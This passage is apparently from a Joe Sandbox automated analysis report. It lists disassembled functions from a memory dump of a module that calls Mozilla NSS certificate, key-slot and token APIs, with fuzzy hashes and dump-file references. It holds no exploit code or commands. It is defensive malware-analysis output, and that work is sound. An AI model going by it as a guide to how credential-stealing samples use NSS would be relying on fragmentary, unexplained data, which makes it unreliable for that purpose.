htonl.WSOCK32(?,00000000,?,6CB3A4A1,?,00000000,?,00000001), ref: 6CB1EFF1
memcpy.VCRUNTIME140(?,?,6CB3A4A1,?,00000000,?,6CB3A4A1,?,00000000,?,00000001), ref: 6CB1F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CB3A4A1,?,00000000,?,00000001), ref: 6CB1F027

Strings

dtls13, xrefs: 6CB1EF33

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 0a924f7ee2a44e15adfe0605797df01f944434a4fc10c9636de03b447dfdd145
Instruction ID: fdc87cc8a3358fe21beb8c83d6322388f20676c6e69bd8e966bd70e50ff6fce7
Opcode Fuzzy Hash: 0a924f7ee2a44e15adfe0605797df01f944434a4fc10c9636de03b447dfdd145
Instruction Fuzzy Hash: AF311671A082919FDB10CF68DC44B8EB7E4EF49348F158029EC189BB51E731E916CBE2

Function 6CA9AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CA9AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CBB9500,6CA93F91), ref: 6CA9AFD2

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

DER_GetInteger_Util.NSS3(?), ref: 6CA9B007

Part of subcall function 6CAE6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CA91666,?,6CA9B00C,?), ref: 6CAE6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CA9B02F
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA9B046
PL_FreeArenaPool.NSS3 ref: 6CA9B058
PL_FinishArenaPool.NSS3 ref: 6CA9B060

Strings

security, xrefs: 6CA9AFB8

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 064932653b6a0af8413fbb0976e3d040a6a0df6d7ad237ad6d2d2868ce518a2f
Instruction ID: ec07bf5bf4a80d9dd05c94ef1cb278d2ace7e9a10cc3fef5a4cf919a9ae177aa
Opcode Fuzzy Hash: 064932653b6a0af8413fbb0976e3d040a6a0df6d7ad237ad6d2d2868ce518a2f
Instruction Fuzzy Hash: AF31F4704143409BDB208F24EC46BAA77E4AF8636CF140719F9B45BBD1E7329689C797

Function 6CA93E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CA940D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CA93F7F,?,00000055,?,?,6CA91666,?,?), ref: 6CA940D9
Part of subcall function 6CA940D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CA91666,?,?), ref: 6CA940FC
Part of subcall function 6CA940D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CA91666,?,?), ref: 6CA94138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA93EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA93ED6

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA93EEE

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA93F02
PL_FreeArenaPool.NSS3 ref: 6CA93F14
PL_FinishArenaPool.NSS3 ref: 6CA93F1C

Part of subcall function 6CAF64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CAF127C,00000000,00000000,00000000), ref: 6CAF650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA93F27

Strings

security, xrefs: 6CA93EBC

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 9e9e685e4a36b769b59c3133e3d9a7b590b7a8e8e1c2ec8737763c1711194d31
Instruction ID: 9a0c16958396688339d721acd98e198aade130c510a308509cc8d5936187efb2
Opcode Fuzzy Hash: 9e9e685e4a36b769b59c3133e3d9a7b590b7a8e8e1c2ec8737763c1711194d31
Instruction Fuzzy Hash: 1B2128B1904340ABD3109B14AC42FAB73F8EB8831CF04053DF999A7741E730D61C8796

Function 6CADCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CADCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CADCE16
PR_SetError.NSS3(00000000,00000000), ref: 6CADD079

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: d693ea3b7318b9005bdc905a79cb3036100b8ee1cc567dd016f07837cb281d26
Instruction ID: a40a22817ff70e4b16ecf29c9cd0b71bb5122a8ce337f100eb80d4fd6baf3428
Opcode Fuzzy Hash: d693ea3b7318b9005bdc905a79cb3036100b8ee1cc567dd016f07837cb281d26
Instruction Fuzzy Hash: 7BC18DB1E002199BDB10CF24CC80BDAB7B4BB48308F5941A8E949A7741E775EED9CF90

Function 6CACDC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CAD97C1,?,00000000,00000000,?,?,?,00000000,?,6CAB7F4A,00000000), ref: 6CACDC68

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CACDD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CACDE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CACDE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CACDE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CACDF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CACDF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CACDF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CACDFAA

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 9345483ee23d4b485c85985ab1a5991a46cf8abd8630eef8de03c0668426de2d
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 1381AF71FC66018BFF154A59C89036AB6B6EB60748F28883AD919CAFE1E774C4C4C653

Function 6CAA3C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CAA3C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CAA3C94

Part of subcall function 6CA995B0: TlsGetValue.KERNEL32(00000000,?,6CAB00D2,00000000), ref: 6CA995D2
Part of subcall function 6CA995B0: EnterCriticalSection.KERNEL32(?,?,?,6CAB00D2,00000000), ref: 6CA995E7
Part of subcall function 6CA995B0: PR_Unlock.NSS3(?,?,?,?,6CAB00D2,00000000), ref: 6CA99605

PORT_NewArena_Util.NSS3(00000800), ref: 6CAA3CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CAA3CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CAA3CE1

Part of subcall function 6CAA3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CABAE42), ref: 6CAA30AA
Part of subcall function 6CAA3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA30C7
Part of subcall function 6CAA3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CAA30E5
Part of subcall function 6CAA3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAA3116
Part of subcall function 6CAA3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAA312B
Part of subcall function 6CAA3090: PK11_DestroyObject.NSS3(?,?), ref: 6CAA3154
Part of subcall function 6CAA3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA317E

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 6406897408356bb5d24f63d05fd326ae29454b013ad5f1d725336d3868d76bdd
Instruction ID: db61719967780147170a1cc69701a77522a5e41bef8699cc8aab52ea237296fb
Opcode Fuzzy Hash: 6406897408356bb5d24f63d05fd326ae29454b013ad5f1d725336d3868d76bdd
Instruction Fuzzy Hash: EA61E9B5A01200BBEB105EA5DD41FBBB6B9EF04748F0D4028FE499B652F731D899C7A1

Function 6CAE3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CAE3440: PK11_GetAllTokens.NSS3 ref: 6CAE3481
Part of subcall function 6CAE3440: PR_SetError.NSS3(00000000,00000000), ref: 6CAE34A3
Part of subcall function 6CAE3440: TlsGetValue.KERNEL32 ref: 6CAE352E
Part of subcall function 6CAE3440: EnterCriticalSection.KERNEL32(?), ref: 6CAE3542
Part of subcall function 6CAE3440: PR_Unlock.NSS3(?), ref: 6CAE355B

TlsGetValue.KERNEL32 ref: 6CAE3D8B
EnterCriticalSection.KERNEL32(?), ref: 6CAE3D9F
PR_Unlock.NSS3(?), ref: 6CAE3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CAE3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CAE3E4F

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

TlsGetValue.KERNEL32 ref: 6CAE3E97
EnterCriticalSection.KERNEL32(?), ref: 6CAE3EAB
PR_Unlock.NSS3(?), ref: 6CAE3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CAE3EEE

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 8c14964ce7d9b5c48d1f3b30b4f1c379ffcf052cd051d906a9b60b6c45f13a5f
Instruction ID: d3df2a38412aebfcd72da388af5853b2a8be5de477b2f56886b995861f4922c2
Opcode Fuzzy Hash: 8c14964ce7d9b5c48d1f3b30b4f1c379ffcf052cd051d906a9b60b6c45f13a5f
Instruction Fuzzy Hash: D5514975A022009FDB01AF69EC4476A73F4EF49318F090528DE9957B22EB31E8D4DBD1

Function 6CA92C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(5A50AEA9), ref: 6CA92C5D

Part of subcall function 6CAF0D30: calloc.MOZGLUE ref: 6CAF0D50
Part of subcall function 6CAF0D30: TlsGetValue.KERNEL32 ref: 6CAF0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CA92C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA92CE0

Part of subcall function 6CA92E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CA92CDA,?,00000000), ref: 6CA92E1E
Part of subcall function 6CA92E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CA92E33
Part of subcall function 6CA92E00: TlsGetValue.KERNEL32 ref: 6CA92E4E
Part of subcall function 6CA92E00: EnterCriticalSection.KERNEL32(?), ref: 6CA92E5E
Part of subcall function 6CA92E00: PL_HashTableLookup.NSS3(?), ref: 6CA92E71
Part of subcall function 6CA92E00: PL_HashTableRemove.NSS3(?), ref: 6CA92E84
Part of subcall function 6CA92E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CA92E96
Part of subcall function 6CA92E00: PR_Unlock.NSS3 ref: 6CA92EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA92D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CA92D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CA92D3F
free.MOZGLUE(00000000), ref: 6CA92D73
CERT_DestroyCertificate.NSS3(?), ref: 6CA92DB8
free.MOZGLUE ref: 6CA92DC8

Part of subcall function 6CA93E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA93EC2
Part of subcall function 6CA93E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA93ED6
Part of subcall function 6CA93E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA93EEE
Part of subcall function 6CA93E60: PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA93F02
Part of subcall function 6CA93E60: PL_FreeArenaPool.NSS3 ref: 6CA93F14
Part of subcall function 6CA93E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA93F27

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 3c3d0e07a5e9a081932a15e31f967fce061379502bcf7d1b1d8e2125f10267e3
Instruction ID: b2b15484822969d8f070dfd9073801a14f9cf4573baa3c65fa2852ab80ea190f
Opcode Fuzzy Hash: 3c3d0e07a5e9a081932a15e31f967fce061379502bcf7d1b1d8e2125f10267e3
Instruction Fuzzy Hash: EF510075A143119FEB00DE29DC8AB5B77E5EF84348F18062CEC5987620E731E898CB92

Function 6CAB8F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CAB9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAB9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CAB9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAB90EC

Part of subcall function 6CA80F00: PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B
Part of subcall function 6CA80F00: PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAB9111

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 62dc3b53c2b2641dd8ca17ed903d97b55438071b886a53000f6f611468933041
Instruction ID: 0268a5d0d996ee2fb2f6195779ae255e9414c237e8ae14f80abeb4706a07b7a1
Opcode Fuzzy Hash: 62dc3b53c2b2641dd8ca17ed903d97b55438071b886a53000f6f611468933041
Instruction Fuzzy Hash: 3E518974A056558FCF40EF78D688299BBF8BF09314F094569DC58AB706EB30E8C8CB91

Function 6CA97CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA940D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CA93F7F,?,00000055,?,?,6CA91666,?,?), ref: 6CA940D9
Part of subcall function 6CA940D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CA91666,?,?), ref: 6CA940FC
Part of subcall function 6CA940D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CA91666,?,?), ref: 6CA94138

PR_GetCurrentThread.NSS3 ref: 6CA97CFD

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CBB9030), ref: 6CA97D1B

Part of subcall function 6CAEFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CA91A3E,00000048,00000054), ref: 6CAEFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CBB9048), ref: 6CA97D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CA97D50
PR_GetCurrentThread.NSS3 ref: 6CA97D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CA97D7D
free.MOZGLUE(?), ref: 6CA97D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CA97DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CA97E19

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 761fcc73ca4bee4d3443036d16797b200855f0cb134721468a92832d26641540
Instruction ID: cb7d15f8bca163f6cdf127012448e3e291c0863b815e44f0e117f7d06f218259
Opcode Fuzzy Hash: 761fcc73ca4bee4d3443036d16797b200855f0cb134721468a92832d26641540
Instruction Fuzzy Hash: D541E972A101199BDF009E699C42BBF37E8AF5425CF090024EC19E7761E730E999CBF1

Function 6CAA7EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CAA80DD), ref: 6CAA7F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CAA80DD), ref: 6CAA7F36
free.MOZGLUE(?,?,?,6CAA80DD), ref: 6CAA7F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CAA80DD), ref: 6CAA7F5D
DeleteCriticalSection.KERNEL32(?,6CAA80DD), ref: 6CAA7F94
free.MOZGLUE(?), ref: 6CAA7F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CAA80DD), ref: 6CAA7FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CAA80DD), ref: 6CAA7FE6
free.MOZGLUE(?,6CAA80DD), ref: 6CAA802D

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
